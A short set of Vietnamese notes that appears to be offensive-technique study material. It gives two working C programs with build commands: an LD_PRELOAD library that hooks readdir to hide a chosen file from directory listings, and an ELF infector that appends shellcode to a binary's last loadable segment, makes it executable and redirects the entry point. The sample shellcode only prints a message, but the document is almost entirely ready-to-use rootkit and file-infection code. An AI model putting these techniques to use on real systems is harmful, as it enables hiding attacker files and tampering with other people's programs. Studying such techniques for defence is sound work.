1. Dùng `LD_PRELOAD ` để chỉ định một thư viện .so được nạp trước tất cả các thư viện mặc định.
```cpp!
#include <stdio.h>
#define HIDDEN_FILE "filename.txt"
static struct dirent *(*original_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp) {
if (!original_readdir) {
original_readdir = dlsym(RTLD_NEXT, "readdir");
if (!original_readdir) {
perror("dlsym readdir");
return NULL;
}
}
struct dirent *entry;
while ((entry = original_readdir(dirp)) != NULL) {
if (strcmp(entry->d_name, HIDDEN_FILE) == 0)
continue;
return entry;
}
return NULL;
}
```
`gcc -fPIC -shared -o hide_file.so hide_file.c -ldl`
`LD_PRELOAD=$PWD/hide_file.so`
sau đó ls
2. Inject shellcode to program
```cpp!
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <elf.h>
#include <string.h>
#include <stdint.h>
#include <sys/stat.h>
unsigned char shellcode[] = {
0xb8,0x01,0x00,0x00,0x00, // mov eax, 1
0xbf,0x01,0x00,0x00,0x00, // mov edi, 1
0x48,0x8d,0x35,0x0f,0x00,0x00,0x00, // lea rsi, [rip+0xf]
0xba,0x18,0x00,0x00,0x00, // mov edx, 24
0x0f,0x05, // syscall
0xb8,0x3c,0x00,0x00,0x00, // mov eax, 60
0x31,0xff, // xor edi, edi
0x0f,0x05, // syscall
// message (24 bytes)
0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,
0x6e,0x20,0x73,0x75,0x63,0x63,0x65,0x73,
0x73,0x66,0x75,0x6c,0x6c,0x79,0x21,0x0a
};
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <target ELF file>\n", argv[0]);
return 1;
}
const char *filename = argv[1];
int fd = open(filename, O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
struct stat st;
fstat(fd, &st);
size_t size = st.st_size;
// Extend the file size to hold shellcode
if (ftruncate(fd, size + sizeof(shellcode)) < 0) {
perror("ftruncate");
return 1;
}
void *mem = mmap(NULL, size + sizeof(shellcode), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mem == MAP_FAILED) {
perror("mmap");
return 1;
}
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) {
fprintf(stderr, "Not an ELF\n");
return 1;
}
printf("[*] Original entry point: 0x%lx\n", ehdr->e_entry);
Elf64_Phdr *phdr = (Elf64_Phdr *)((char *)mem + ehdr->e_phoff);
// Find last LOAD segment
Elf64_Phdr *last_load = NULL;
for (int i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD)
last_load = &phdr[i];
}
// Determine injection offset and vaddr
uint64_t inject_offset = last_load->p_offset + last_load->p_filesz;
uint64_t inject_vaddr = last_load->p_vaddr + last_load->p_filesz;
printf("[+] Injecting shellcode at offset: 0x%lx, vaddr: 0x%lx\n", inject_offset, inject_vaddr);
// Copy shellcode to new offset
memcpy((char *)mem + inject_offset, shellcode, sizeof(shellcode));
// Expand segment to include shellcode
last_load->p_filesz += sizeof(shellcode);
last_load->p_memsz += sizeof(shellcode);
last_load->p_flags |= PF_X;
// Set new entry point
ehdr->e_entry = inject_vaddr;
printf("[+] New entry point set to: 0x%lx\n", ehdr->e_entry);
msync(mem, size + sizeof(shellcode), MS_SYNC);
munmap(mem, size + sizeof(shellcode));
close(fd);
printf("Injection complete\n");
return 0;
}
```